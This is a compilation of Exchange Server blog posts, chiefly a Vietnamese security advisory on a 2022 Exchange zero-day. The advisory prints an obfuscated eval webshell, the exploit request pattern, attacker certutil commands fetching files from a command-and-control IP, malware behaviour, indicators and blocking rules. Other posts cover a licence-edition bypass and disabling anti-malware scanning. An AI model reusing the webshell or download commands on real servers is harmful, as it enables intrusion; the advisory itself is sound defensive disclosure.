Network Adapter Configurations For DAG Members best practice

It is important to configure the network adapter settings correctly for a DAG member. Few points that need to be noted:

  • Single NIC for DAG members is supported.
  • All DAG members should have the same number of networks, MAPI and Replication networks.
  • DAG members can have only one MAPI network and zero or more Replication networks.
  • Persistent static routes are used to configure traffic in a replication network.
  • It is recommended to have atleast two DAG networks, MAPI and a replication network.

The MAPI network should be connected to the production network, so that it can talk with other Exchange servers, AD, DNS etc. The MAPI network (NIC) should be configured as given in the table below.

Networking FeaturesSetting
Client for Microsoft NetworksEnabled
QoS Packet SchedulerOptionally enable
File and Printer Sharing for Microsoft NetworksEnable
Internet Protocol Version 6 (TCP/IP v6)Optionally enable
Internet Protocol Version 4 (TCP/IP v4)Enabled
Link-Layer Topology Discovery Mapper I/O DriverEnabled
Link-Layer Topology Discovery ResponderEnabled

Configure the following as well for the MAPI network.

  • The IP address can be manually assigned or configured to use DHCP. If DHCP is used, use persistent reservations for server’s IP address.
  • The MAPI network typically uses a default gateway, although one isn’t required.
  • At least one DNS server address must be configured. Using multiple DNS servers for redundancy.
  • The “Register this connection’s addresses in DNS” checkbox should be checked.

The Replication network (NIC) should be configured as given in the table below.

Networking FeaturesSetting
Client for Microsoft NetworksDisabled
QoS Packet SchedulerOptionally enable
File and Printer Sharing for Microsoft NetworksDisabled
Internet Protocol Version 6 (TCP/IP v6)Optionally enable
Internet Protocol Version 4 (TCP/IP v4)Enabled
Link-Layer Topology Discovery Mapper I/O DriverEnabled
Link-Layer Topology Discovery ResponderEnabled

Configure the following as well for the MAPI network.

  • The IP address can be manually assigned or configured to use DHCP. If DHCP is used, use persistent reservations for server’s IP address.
  • The Replication network typically doesn’t use a default gateway. If MAPI network has a gateway configured, then, no other networks should have a default gateway.
  • DNS server address should not be configured.
  • The “Register this connection’s addresses in DNS” checkbox should be unchecked.

Finally, the binding order has to be such that MAPI network comes first in the list.

Good Luck

Cách chuyển hạ cấp key bản quyền Exchange Server Enterprise về Standard

Microsoft_Exchange_(2019-present).svg

Có một điều khi chúng ta đã cài Microsoft Exchange Server mà đã kích hoạt bản quyền key là Enterprise. Vì 1 lý do nào đó cần chuyển đối từ Enterprise về standard. Theo Microsoft thì khả năng từ nhỏ lên cao có thể ugprade ok tuy nhiên hạ cấp từ Enterprise về standard thì như thế nào ?

Hôm nay Phương Nguyễn chia sẽ các bạn cách hạ cấp key license Exchange Server đã kích hoạt từ Enterprise về standard, Như chúng ta đã biết các sương sống của Exchange chính là hệ thống domain controller nghĩa là mọi thông tin Exchange đều lưu trên Active Directory, nên chúng ta sẽ căn cứ vào đây để by-pass nhé.

Các bước như sau:

Bước 1: Chúng ta logon vào Domain controller mở run gỏ lệnh adsiedit.msc

Bước 2: Right click->Chọn Connect to => Configuration

Bước 3: Theo đường dẫn sau:

Mở Configuration > Services > Microsoft Exchange > Domain/Org > Administrative Groups > Exchange Administrative Group (FYDIBOHF23SPDLT) > Servers

Thay domain của các bạn nhé: ví dụ đây là PHUONG2.lab

Configuration > Services > Microsoft Exchange >PHUONGIT > Administrative Groups > Exchange Administrative Group (FYDIBOHF23SPDLT) >Servers

Bước 4 Chọn phải chuột vào Server ví dụ đây là Lab-EX2019 => chọn thuộc tính msExchProductID clear trắng nhé, có thể copy lại lưu 1 bản.

Chọn Clear => chọn oke nhé lưu lại

Quay lại Exhange Server để nhập lại key hoặc Powershell

Set-ExchangeServer -Identity LAB-EX2019 -ProductKey xxxxx-xxxxx-xxxxx-xxxxx-xxxxx 

Chúc các bạn thành công

Phương nguyễn viết.

CẢNH BÁO CHIẾN DỊCH TẤN CÔNG SỬ DỤNG LỖ HỔNG ZERO DAY TRÊN MICROSOFT EXCHANGE SERVER

Khoảng từ đầu tháng 08/2022, trong quá trình thực hiện giám sát an ninh mạng và xử lý sự cố, Trung tâm vận hành bảo mật GTSC SOC phát hiện một đơn vị trọng yếu bị tấn công an ninh mạng vào hệ thống ứng dụng Microsoft Exchange. Quá trình điều tra, đội ngũ chuyên gia BlueTeam xác định kẻ tấn công đã sử dụng một lỗ hổng bảo mật của Microsoft Exchange chưa từng được công bố – hay còn gọi là lỗ hổng 0-day. GTSC SOC Team ngay lập tức đưa ra phương án ngăn chặn tạm thời. Song song, các chuyên gia RedTeam cũng bắt tay ngay vào việc nghiên cứu, debug lại mã nguồn ứng dụng Mail Exchange để tìm ra mã khai thác (exploit). Với lỗ hổng bảo mật Exchange trước đây, đội ngũ RedTeam cũng đã từng phân tích ra exploit trước khi có exploit được public trên thế giới (1-day exploit) nên việc hiểu luồng, cơ chế xử lý của hệ thống Email Exchange đã giúp giảm thời gian cho quá trình research. Ngay sau khi nghiên cứu ra exploit, GTSC đã submit lên ZDI để làm việc với Microsoft nhằm nhanh chóng có bản vá.

Sau khi ZDI verify đã ghi nhận 2 bug liên quan đến exploit:

Tuy nhiên đến thời điểm hiện tại, GTSC ghi nhận thêm các đơn vị khác cũng đang gặp phải sự cố. Sau khi kiểm tra, GTSC xác nhận hệ thống bị tấn công qua lỗ hổng 0-day này. Để hỗ trợ cộng đồng ngăn chặn tạm thời trước khi có bản vá chính thức từ Microsoft, chúng tôi công bố bài viết này để cảnh báo tới các đơn vị có sử dụng hệ thống email Microsoft Exchange.

Thông tin lỗ hổng bảo mật 

                – Đội ngũ Blueteam trong quá trình giám sát phát hiện được các request exploit dựa trên log IIS có định dạng giống như lỗ hổng ProxyShell: autodiscover/autodiscover.json?@evil.com/<Exchange-backend-endpoint>&Email=autodiscover/autodiscover.json%3f@evil.com. Đồng thời kiểm tra các logs khác, nhận thấy kẻ tấn công thực hiện được các câu lệnh trên hệ thống. Kiểm tra version number trên máy chủ Exchange bị tấn công nhận thấy máy chủ đã cài đặt bản cập nhật mới nhất tại thời điểm đó nên không thể có trường hợp khai thác bởi lỗ hổng Proxyshell -> xác nhận máy chủ bị khai thác bởi lỗ hổng 0-day RCE mới. Các thông tin này được Blueteam cung cấp lại cho Redteam, từ đó đội ngũ Redteam của GTSC đã tiến hành nghiên cứu để trả lời cho các câu hỏi như tại sao các request lại giống với request của bug ProxyShell?, luồng RCE được thực hiện như thế nào? 

                – Kết quả nghiên cứu đã giúp GTSC Redteam thành công tìm ra cách sử dụng đường dẫn trên để truy cập tới 1 component ở backend và thực hiện RCE. Thông tin kỹ thuật chi tiết về lỗ hổng tại thời điểm này chúng tôi xin phép chưa công bố.

Các hành vi sau khai thác

Sau quá trình khai thác thành công lỗ hổng, chúng tôi ghi nhận các hành vi tấn công nhằm thu thập thông tin và tạo chỗ đứng trong hệ thống của nạn nhân. Nhóm tấn công cũng sử dụng các kỹ thuật khác nhau nhằm tạo backdoor trên hệ thống bị ảnh hưởng và thực hiện lateral movement sang các máy chủ khác trong hệ thống.

Webshell

Chúng tôi phát hiện các webshell được drop xuống các máy chủ exchange. Các webshell chúng tôi thu thập được hầu hết được obfuscated. Thông qua User-agent chúng tôi phát hiện attacker sử dụng Antsword (một opensource có tính năng hỗ trợ quản lý webshell).

<%@Page Language=”Jscript”%>

<%eval(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(‘NTcyM’+’jk3O3’+’ZhciB’+’zYWZl’+”+’P’+’S’+char(837-763)+System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(‘MQ==’))+char(51450/525)+”+”+char(0640-0462)+char(0x8c28/0x1cc)+char(0212100/01250)+System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(‘Wg==’))+’m’+”+’UiO2V’+’2YWwo’+’UmVxd’+’WVzdC’+’5JdGV’+’tWydF’+’WjBXS’+’WFtRG’+’Z6bU8’+’xajhk’+’J10sI’+’HNhZm’+’UpOzE’+’3MTY4’+’OTE7’+”)));%>

Chúng tôi nghi ngờ các hành vi khai thác này xuất phát từ các nhóm tấn công Trung Quốc, dựa trên codepage trong webshell là 936, một bảng mã ký tự Microsoft cho tiếng Trung giản thể (simplified Chinese).

Một đặc điểm đáng chú ý khác, bên cạnh việc drop các webshell mới hacker cũng thực hiện thay đổi nội dung trong file RedirSuiteServiceProxy.aspx thành nội dung webshell. RedirSuiteServiceProxy.aspx là một tên file hợp pháp sẵn có trong máy chủ Exchange

FileNamePath
RedirSuiteServiceProxy.aspxC:\ProgramFiles\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth
Xml.ashxC:\inetpub\wwwroot\aspnet_client
pxh4HG1v.ashxC:\ProgramFiles\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth

Trong quá trình xử lý sự cố tại một khách hàng khác, GTSC ghi nhận nhóm tấn công có sử dụng một mẫu webshell khác

Filename: errorEE.aspx

SHA256: be07bd9310d7a487ca2f49bcdaafb9513c0c8f99921fdf79a05eaba25b52d257

Ref: https://github.com/antonioCoco/SharPyShell

Command Execution

Bên cạnh các hành vi thu thập thông tin trên hệ thống, attacker thực hiện tải file và kiểm tra kết nối thông qua certutil có sẵn trên môi trường Windows

“cmd” /c cd /d “c:\\PerfLogs”&certutil.exe -urlcache -split -f http://206.188.196.77:8080/themes.aspx c:\perflogs\t&echo [S]&cd&echo [E]

“cmd” /c cd /d “c:\\PerfLogs”&certutil.exe -urlcache -split -f https://httpbin.org/get c:\test&echo [S]&cd&echo [E]

Ở cuối của mỗi câu lệnh mà kẻ tấn công thực hiện đều có chuỗi echo [S]&cd&echo [E], một trong những dấu hiệu nhận biết của China Chopper.

Ngoài ra, hacker cũng thực hiện inject DLL độc hại vào bộ nhớ, drop các file nghi ngờ lên các máy chủ bị tấn công, và thực thi các file này thông qua WMIC.

Suspicious File

Trên các máy chủ, chúng tôi phát hiện các file nghi ngờ có định dạng exe và dll

FileNamePath
DrSDKCaller.exeC:\root\DrSDKCaller.exe
all.exeC:\Users\Public\all.exe
dump.dllC:\Users\Public\dump.dll
ad.exeC:\Users\Public\ad.exe
gpg-error.exeC:\PerfLogs\gpg-error.exe
cm.exeC:\PerfLogs\cm.exe
msado32.tlbC:\Program Files\Common Files\system\ado\msado32.tlb

Trong số các file nghi ngờ trên, dựa vào các câu lệnh được thực hiện trên máy chủ, chúng tôi nhận định các file all.exe, dump.dll có nhiệm vụ trích xuất thông tin tài khoản trên hệ thống máy chủ. Sau các hành vi trích xuất thông tin tài khoản trên hệ thống, attacker sử dụng rar.exe để nén các file dump và copy ra webroot của máy chủ Exchange. Trong quá trình xử lý sự cố, các file trên đã không còn tồn tại trên hệ thống.

File cm.exe được drop xuống thư mục C:\PerfLogs\ là file cmd.exe

Malware Analysis

Thông tin DLL

File name: Dll.dll

Sha256:

074eb0e75bb2d8f59f1fd571a8c5b76f9c899834893da6f7591b68531f2b5d82

45c8233236a69a081ee390d4faa253177180b2bd45d8ed08369e07429ffbe0a9

9ceca98c2b24ee30d64184d9d2470f6f2509ed914dafb87604123057a14c57c0

29b75f0db3006440651c6342dc3c0672210cfb339141c75e12f6c84d990931c3

c8c907a67955bcdf07dd11d35f2a23498fb5ffe5c6b5d7f36870cf07da47bff2

Phân tích DLL

GTSC phân tích một mẫu cụ thể (074eb0e75bb2d8f59f1fd571a8c5b76f9c899834893da6f7591b68531f2b5d82) để mô tả hành vi của mã độc, các mẫu DLL khác có nhiệm vụ và hành vi giống nhau, chỉ khác nhau về cấu hình listener

DLL gồm 2 hai class: Run và m. Bên trong mỗi class gọi tới các method thực hiện các nhiệm vụ khác nhau. Cụ thể:

Class Run thực hiện tạo listener lắng nghe các kết nối tới port 443, đường dẫn https://*:443/ews/web/webconfig/.

Sau quá trình lắng nghe, mã độc tạo thread mới goi tới r. Method r thực hiện:

–              Kiểm tra request nhận được có data trong body hay không. Nếu không có data đi kèm trong request gửi lên máy chủ, kết quả trả về là 404.

–              Ngược lại, nếu trong request có đi kèm data, DLL tiếp tục xử lý luồng bên trong nhánh IF:

Kiểm tra request nhận được có tồn tại “RPDbgEsJF9o8S=” hay không. Nếu có, gọi tới method i nằm trong class m để xử lý request nhận được. Kết quả trả về từ Run.m.i sẽ được covert sang chuỗi base64. Kết quả trả về cho client theo format

{

                “result”:1,

                “message”:”base64(aes(result))”

}

Class m

Method thực hiện:

–         Giải mã request nhận được bằng thuật toán AES với 16 bytes đầu tiên của request là giá trị IV, 16 bytes tiếp theo là giá trị key, các giá trị sau đó là data

–         Sau khi giải mã, lấy phần tử đầu tiên trong mảng làm flag để xử lý các case đã được định nghĩa

 Case 0: Gọi tới method info. Method này có nhiệm vụ thu thập thông tin hệ thống. Các thông tin bao như kiến trúc hệ điều hành, phiên bản framework, phiên bản hệ điều hành, v.v….GTSC mô phỏng lại case 0 bằng hình ảnh bên dưới. Request gửi lên theo format 16 bytes đầu là giá trị IV, 16 bytes tiếp theo là giá trị key, theo sau là flag để chỉ định option và phần còn lại là data.

base64 (IV | key | aes(flag|data))

Case 1: Gọi tới method sc. Method này có nhiệm vụ cấp phát vùng nhớ để thực thi shellcode

 Case 2: Gọi tới 2 method p và r. Method p xử lý các dữ liệu được ngăn cách bởi ký tự “|” lưu vào mảng array3. Mảng array3 sẽ lấy 2 phần tử đầu tiên làm tham số cho method r, method r có nhiệm vụ thực thi command

 Case 3: Gọi tới method ld. Method này có nhiệm vụ liệt kê thông tin thư mục và file theo format

D|-|<Ngày tạo> |<Ngày chỉnh sửa> |<tên thư mục hoặc tên file>

o   Case 4: Gọi tới method wf. Method này có nhiệm vụ ghi file

o   Case 5: Gọi tới method rf. Method này có nhiệm vụ đọc file

 Case 6: Tạo thư mục

o   Case 7: Xóa file hoặc thư mục

o   Case 8: Di chuyển File

o   Case 9: Set time cho file 

o   Case 10: Nạp và thực thi C# bytecode nhận từ request.

Các mẫu DLL khác có nhiệm vụ tương tự, chỉ khác nhau về cấu hình listener như sau:

                Victim 1:

https://*:443/ews/web/webconfig/

https://*:443/owa/auth/webcccsd/

https://*:444/ews/auto/

https://*:444/ews/web/api/

                Victim 2:

                                     http://*:80/owa/auth/Current/script/

https://*:443/owa/auth/Current/script/

Chúng tôi cũng phát hiện DLL được inject vào memory của tiến trình svchost.exe. DLL thực hiện kết nối gửi nhận dữ liệu tới địa chỉ 137[.]184[.]67[.]33 được config trong binary. Việc gửi nhận dữ liệu với C2 sử dụng thuật toán RC4, khóa sẽ được tạo trong thời gian chạy (runtime).

Các biện pháp ngăn chặn tạm thời

Quá trình xử lý sự cố trực tiếp của GTSC ghi nhận có trên 1 đơn vị tổ chức bị là nạn nhân của chiến dịch tấn công khai thác lỗ hổng zero day. Ngoài ra chúng tôi cũng lo ngại rằng có thể có nhiều tổ chức khác cũng đã bị khai thác nhưng chưa được phát hiện. Trong thời gian chờ đợi bản vá chính thức từ hãng, GTSC cung cấp biện pháp khắc phục tạm thời nhằm giảm thiểu việc tấn công khai thác lổ hổng bằng cách bổ sung rule chặn các request có dấu hiệu tấn công thông qua module URL Rewrite rule trên máy chủ IIS (Webserver)

– Trong Autodiscover tại FrontEnd chọn tab URL Rewrite chọn Request Blocking

– Add thêm chuỗi “.*autodiscover\.json.*\@.*Powershell.*“ vào Pattern (URL Path):   

– Condition input: lựa chọn {REQUEST_URI}

Phát hiện tấn công

Nhằm kiểm tra hệ thống đã bị tấn công bởi lổ hỗng này, các đơn vị/tổ chức có thể thực hiện theo các cách thức sau:

Cách 1: Sử dụng powershell với câu lệnh sau: (Sử dụng powershell để thực hiện search trên toàn bộ folder log IIS mất khá nhiều thời gian)

Get-ChildItem -Recurse -Path <Path_IIS_Logs> -Filter “*.log” | Select-String -Pattern ‘powershell.*autodiscover\.json.*\@.*200

Cấu hình mặc định IIS log nằm tại đường dẫn “%SystemDrive%\inetpub\logs\LogFiles”

Cách 2: Sử dụng công cụ do GTSC phát triển dựa trên dấu hiệu khai thác lỗ hổng, thời gian thực hiện search nhanh hơn so với việc sử dụng powershell. Đường dẫn tải về công cụ: https://github.com/ncsgroupvn/NCSE0Scanner

Cách 3: Sử dụng công cụ của MS luôn nhé Exchange On-premises Mitigation Tool v2 (EOMTv2) link download tại đây

Indicators of Compromise (IOCs)

Webshell:

File Name: pxh4HG1v.ashx

                Hash (SHA256): c838e77afe750d713e67ffeb4ec1b82ee9066cbe21f11181fd34429f70831ec1

                Path: C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\pxh4HG1v.ashx

File Name: RedirSuiteServiceProxy.aspx

                Hash (SHA256): 65a002fe655dc1751add167cf00adf284c080ab2e97cd386881518d3a31d27f5

                Path: C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\RedirSuiteServiceProxy.aspx

File Name: RedirSuiteServiceProxy.aspx

                Hash (SHA256): b5038f1912e7253c7747d2f0fa5310ee8319288f818392298fd92009926268ca

                Path: C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\RedirSuiteServiceProxy.aspx

File Name: Xml.ashx

                Hash (SHA256): c838e77afe750d713e67ffeb4ec1b82ee9066cbe21f11181fd34429f70831ec1

                Path: C:\inetpub\wwwroot\aspnet_client\Xml.ashx

Filename: errorEE.aspx

SHA256: be07bd9310d7a487ca2f49bcdaafb9513c0c8f99921fdf79a05eaba25b52d257

Path: C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\errorEE.aspx

DLL

File name: Dll.dll

SHA256:

074eb0e75bb2d8f59f1fd571a8c5b76f9c899834893da6f7591b68531f2b5d82

45c8233236a69a081ee390d4faa253177180b2bd45d8ed08369e07429ffbe0a9

9ceca98c2b24ee30d64184d9d2470f6f2509ed914dafb87604123057a14c57c0

29b75f0db3006440651c6342dc3c0672210cfb339141c75e12f6c84d990931c3

c8c907a67955bcdf07dd11d35f2a23498fb5ffe5c6b5d7f36870cf07da47bff2

File name: 180000000.dll (Dump từ tiến trình Svchost.exe)

SHA256: 76a2f2644cb372f540e179ca2baa110b71de3370bb560aca65dcddbd7da3701e

IP

125[.]212[.]220[.]48

5[.]180[.]61[.]17

47[.]242[.]39[.]92

61[.]244[.]94[.]85

86[.]48[.]6[.]69

86[.]48[.]12[.]64

94[.]140[.]8[.]48

94[.]140[.]8[.]113

103[.]9[.]76[.]208

103[.]9[.]76[.]211

104[.]244[.]79[.]6

112[.]118[.]48[.]186

122[.]155[.]174[.]188

125[.]212[.]241[.]134

185[.]220[.]101[.]182

194[.]150[.]167[.]88

212[.]119[.]34[.]11

URL:

hxxp://206[.]188[.]196[.]77:8080/themes.aspx

C2:

137[.]184[.]67[.]33

Mitre ATT&CK Mapping

TaticIDName
Resource DevelopmentT1586.002Compromise Accounts: Email Accounts
ExecutionT1059.003Command and Scripting Interpreter: Windows Command Shell
ExecutionT1047Windows Management Instrumentation
PersistenceT1505.003Server Software Component: Web Shell
Defense EvasionT1070.004Indicator Removal on Host: File Deletion
Defense EvasionT1036.005Masquerading: Match Legitimate Name or Location
Defense EvasionT1620Reflective Code Loading
Credential AccessT1003.001OS Credential Dumping: LSASS Memory
DiscoveryT1087Account Discovery
DiscoveryT1083File and Directory Discovery
DiscoveryT1057Process Discovery
DiscoveryT1049System Network Connections Discovery
Lateral MovementT1570Lateral Tool Transfer
CollectionT1560.001Archive Collected Data: Archive via Utility

28/09/2022 

GTSC SECURITY TEAM

Link: https://www.gteltsc.vn/blog/canh-bao-chien-dich-tan-cong-su-dung-lo-hong-zero-day-tren-microsoft-exchange-server-12714.html

Microsoft: Máy chủ Exchange bị tấn công để triển khai ransomware BlackCat

Máy chủ Microsoft Exchange đang là mục tiêu của những kẻ phát tán phần mềm BlackCat Ransomware và có thông tin cho thấy tin tặc đang khai thác các lỗ hổng chưa được vá trên hệ thống để tạo ra phần mềm độc hại mã hóa tệp nói trên.

Người ta đã quan sát thấy rằng trong hơn hai trường hợp, tin tặc có thể đánh cắp thông tin đăng nhập và thông tin chuyển tiếp đến các máy chủ từ xa, để sử dụng dữ liệu đó cho việc tống tiền kép.

Tin tặc đầu tiên tấn công máy chủ nạn nhân trên một ghi chú ban đầu và sau đó được nhìn thấy đang triển khai các tải trọng BlackCat Ransomware trên toàn mạng thông qua PsExec.

Quy trình tấn công như sau:

Microsoft đã lưu ý về tình hình và nghi ngờ rằng các vụ tấn công đang được thực hiện bởi một băng nhóm có liên quan đến ransomware như một hoạt động dịch vụ và đang yêu cầu tất cả các máy chủ trao đổi của họ tuân theo một lời khuyên được đưa ra vào ngày 14 tháng 3 để giảm thiểu các cuộc tấn công ProxyLogon.

Một trong số chúng, một nhóm tội phạm mạng có động cơ tài chính được theo dõi là FIN12, được biết đến với việc triển khai Ryuk, Conti và Hive ransomware trước đây trong các cuộc tấn công chủ yếu nhắm vào các tổ chức chăm sóc sức khỏe.

Công ty công nghệ này đang kêu gọi các tổ chức sử dụng một giải pháp toàn diện như Microsoft 365 Defender của riêng mình để bảo vệ các rủi ro liên quan đến các cuộc tấn công và đã đưa ra lời khuyên chi tiết để hạn chế các vấn đề phát sinh từ các cuộc tấn công mạng.

LƯU Ý- Các phiên bản Ransomware của BlackCat đang hoạt động trên cả phiên bản Windows và Linux và trong môi trường của VMware ESXi. Kể từ năm 2021, phần mềm độc hại mã hóa tệp tin còn được gọi là ransomware ALPHV đã được nhìn thấy yêu cầu 5 triệu đô la từ các nạn nhân của nó.

Phương Nguyễn dịch

Nguồn https://www.cybersecurity-insiders.com/blackcat-ransomware-is-being-induced-into-microsoft-exchange-servers

CÁCH KẾT NỐI EXCHANGE SERVER BẰNG REMOTE POWERSHELL-EMS

Microsoft_Exchange_(2019-present).svg

Bước 1:

Để chạy được powershell chúng ta cấp quyền remote

Set-ExecutionPolicy RemoteSigned

$Credentials = Get-Credential

$Credentials = Get-Credential

Bước 2:

$Session = New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri http://LAB-EX2013.phuongit.lab/PowerShell -Authentication Kerberos -Credential $Credentials

Lưu ý http://<ServerFQDN>/powershell chúng ta thay ServerFQDN của các bạn nhé. Ví dụ ở đây của Phương Nguyễn là LAB-EX2013.phuongit.lab, tường lửa không cấm port 80.

PS C:\Users\Administrator.PHUONGIT> $Credentials = Get-Credential

cmdlet Get-Credential at command pipeline position 1
Supply values for the following parameters:
Credential
PS C:\Users\Administrator.PHUONGIT> $Session = New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri http:/
/LAB-EX2013.phuongit.lab/PowerShell -Authentication Kerberos -Credential $Credentials
PS C:\Users\Administrator.PHUONGIT> Import-PSSession $Session
WARNING: The names of some imported commands from the module 'tmp_jbe3g1pw.q0h' include unapproved verbs that might
make them less discoverable. To find the commands with unapproved verbs, run the Import-Module command again with the
Verbose parameter. For a list of approved verbs, type Get-Verb.

ModuleType Version    Name                                ExportedCommands
---------- -------    ----                                ----------------
Script     1.0        tmp_jbe3g1pw.q0h                    {Add-ADPermission, Add-AvailabilityAddressSpace, Add-Conte...


PS C:\Users\Administrator.PHUONGIT>

Bước 3:

Import-PSSession $Session

Chờ import xong sẽ ok nhé trường hợp nếu không muốn hiện thì thêm tham số

Import-PSSession $Session -DisableNameChecking

Bước 4: Test Lệnh Exchange PS1 ví dụ

Get-User -ResultSize unlimited -Filter ‘RemotePowerShellEnabled -eq $true’

Để kết thúc phiên làm việc có thể end session

Remove-PSSession $Session

Chúc các bạn thành công

Phương Nguyễn IT viết.

Thông báo lỗi quan trọng hệ thống email Exchange Server “Message deferred by categorizer agent, FIP-FS” Disable AntiMalwareScanning

Microsoft_Exchange_(2019-present).svg

Mô tả lỗi

Anh em nào đang sử dụng lưu ý nhé. Đầu năm 2022 đúng ngày năm mới. Microsoft Exchange Vừa ra MSFTExchange đã ra bản cập nhật #msantimalware dành cho Exchange Anti-malware. Bản cập nhật này sẽ gây lỗi không gửi/nhận email. Nguyên nhân liên quan đến Y2K2 không convert chuổi số.
Tất cả emails sẽ bị treo ở hàng đợi (submission queue) với mã lỗi
“Message deferred by categorizer agent” hoặc mã lỗi event id: 5300 The FIP-FS “Microsoft” Scan Engine failed to load. PID: 14908, Error Code: 0x80004005. Error Description: Can’t convert “2201010003” to long.
with #Exchange2016 & #Exchange2019.

Nguyên Nhân

FIP-FS sử dụng kiểu “Int32” để lưu giá trị của các biến số thời gian. Giá trị tối đa mà kiểu này có thể lưu là “2.147.483.647”.

Tuy nhiên, các ngày trong năm 2022 có giá trị tối thiểu là 2.201.010.001 hoặc lớn hơn giá trị tối đa có thể được lưu trữ trong biến int32 đã ký, khiến FIP-FS “Microsoft” Scan Engine  thất bại và không phát hành thư để gửi nên bị giữ.

Kiểm tra mail queue bằng lệnh

Get-Queue -Identity submission

Các xử lý


Cách xử lý: tạm thời disable hoặc bypass Antimalware của Exchange. Mở Powershell chạy các lệnh bên dưới:

cd $ExScripts
.\Disable-AntiMalwareScanning.ps1
Set-MalwareFilteringServer -BypassFiltering $True -identity <ServerMBX>
Restart-Service MSExchangeTransport
[PS] C:\Program Files\Microsoft\Exchange Server\V15\scripts>.\Disable-AntiMalwareScanning.ps1
WARNING: The following service restart is required for the change(s) to take effect : MSExchangeTransport
Anti-malware scanning is successfully disabled. Please restart MSExchangeTransport for the changes to take effect.


Chờ Microsoft cập nhật bản vá lỗi.
Hôm nay đã bị và gặp anh em nào quản trị xem xét xử lý nhé.
Thân chào
Chúc mừng năm mới 2022

Phương Nguyễn

Microsoft Exchange Server là gì? Toàn diện về giải pháp quản lý email hàng đầu từ Microsoft

Microsoft_Exchange_(2019-present).svg

Exchange Server được nâng cấp theo thời gian và hiện là một trong những giải pháp quan trọng thuộc bộ ứng dụng đám mây của Microsoft. Microsoft đã thiết kế Exchange Server để cung cấp cho người dùng quyền truy cập vào nền tảng nhắn tin từ thiết bị di động, máy tính để bàn và hệ thống dựa trên web.

Cùng tìm hiểu ý nghĩa và vai trò của Exchange Server đối với hoạt động của doanh nghiệp khi chuyển sang lưu trữ và email đám mây của Microsoft.

1. Microsoft Exchange Server là gì?

Microsoft Exchange Server là hệ thống máy chủ ảo giúp các doanh nghiệp quản lý email, lịch, danh bạ và hỗ trợ người dùng thông qua máy tính để bàn, điện thoại di động và trình duyệt web.

Để đơn giản hóa định nghĩa thì, để có thể sử dụng được email trên Outlook hay Exchange Online, Microsoft Exchange Server phải hoạt động. Microsoft Exchange Server như “cơ quan đầu não” và Outlook hay Exchange Online là nguồn trung gian phân phối dữ liệu đến bạn.

Exchange Server chủ yếu sử dụng một giao thức độc quyền được gọi là MAPI để nói chuyện với các ứng dụng email, nhưng sau đó đã thêm hỗ trợ cho POP3 , IMAP và EAS. Giao thức SMTP tiêu chuẩn được sử dụng để giao tiếp với các máy chủ thư Internet khác.

Exchange Server được cấp phép cả phần mềm tại chỗ và phần mềm dưới dạng dịch vụ (SaaS).

2. Exchange Server hoạt động như thế nào?

Exchange Server được doanh nghiệp sử dụng chủ yếu cho việc quản lý gửi, nhận và lưu trữ email. Ngoài ra, Exchange Server còn cung cấp một số tính năng cộng tác khác như tạo lịch và tích hợp chặt chẽ với các ứng dụng Microsoft Office khác.

Một máy chủ Exchange có 4 thành phần chính hoạt động song song để quá trình hoạt động trơn tru, bao gồm:

  1. Information Store: là kho lưu trữ thông tin, nơi định vị và tổ chức các email
  2. System Attendant: Hệ thống phục vụ có chức năng tạo và quản lý địa chỉ email.
  3. SMTP: Là giao thức truyền mail đơn giản. Đây là thành phần quan trọng cho phép truyền thông điệp liên máy chủ. Thông thường, các thư phải được chuyển tiếp từ máy chủ này sang máy chủ khác, đặc biệt trong các trường hợp vị trí của máy khách người nhận ở xa hoặc đang sử dụng một nhà cung cấp email khác không phải Microsoft.
  4. Active Directory: có nhiệm vụ cập nhật thông tin hộp thư mới cho System Attendant. Nó cũng tự quản lý tài khoản người dùng và danh sách phân phối.

Khi đã thiết lập một máy chủ Exchange, bạn cần tạo tài khoản email cho từng người dùng để gửi hoặc nhận mail thông qua máy chủ. Mỗi tài khoản email phải được định cấu hình riêng với phân quyền riêng và mức độ kiểm soát của người dùng hoặc của tổ chức với email của người dùng.

Khi đã thiết lập người dùng, Quản trị viên phải thiết lập các tùy chọn lọc. Exchange Server cung cấp các tùy chọn chặn và lọc thư rác mạnh mẽ để bảo vệ người dùng khỏi thư rác, virus và các email không mong muốn khác. Các tin nhắn đến có thể bị chặn bằng tài khoản IP nhằm chặn một đối tượng cụ thể.

Exchange Server cũng có thể chặn tin nhắn đến của người nhận, phù hợp với các email được chỉ định chỉ được gửi mà không được nhận theo chính sách của tổ chức.

Khi email được Exchange Server duyệt và thông qua, chúng mới được gửi đến người nhận phù hợp. 

2. Exchange Server dành cho ai?

Microsoft Exchange Server là công cụ dành cho quản trị viên CNTT để giúp họ giám sát mọi hoạt động của người dùng thông qua kết nối email. Exchange được sử dụng rộng rãi với Outlook. Quản trị viên hệ thống có thể dễ dàng theo dõi tất cả các email đến và đi vì mục đích chất lượng và bảo mật. Exchange và Outlook và bộ “vũ khí” giúp doanh nghiệp sử dụng email hiệu quả và an toàn.

3. Các tính năng của Exchange Server 2019 mới nhất

Các tính năng bổ sung trong máy chủ Exchange 2019 bao gồm:

  • Cung cấp hỗ trợ lên đến 256Gb bộ nhớ và 48 lõi CPU
  • Cho phép cài đặt trên Window Server Core
  • Cho phép các truy cập bên ngoài vào trung tâm quản trị Exchange (EAC) và Exchange Management Shell.
  • Sử dụng phân bổ bộ nhớ đệm đồng bộ nhớ để tối ưu việc sử dụng bộ nhớ cho cơ sở dữ liệu hoạt động
  • Ngăn chặn người tham dự chuyển tiếp lời mời họp
  • Cung cấp cho người dùng các tùy chọn vắng mặt bổ sung

Xem chi tiết từ tài liệu của Microsoft: https://docs.microsoft.com/en-us/Exchange/new-features/new-features?view=exchserver-2019

4. Ưu và nhược điểm của Exchange Server

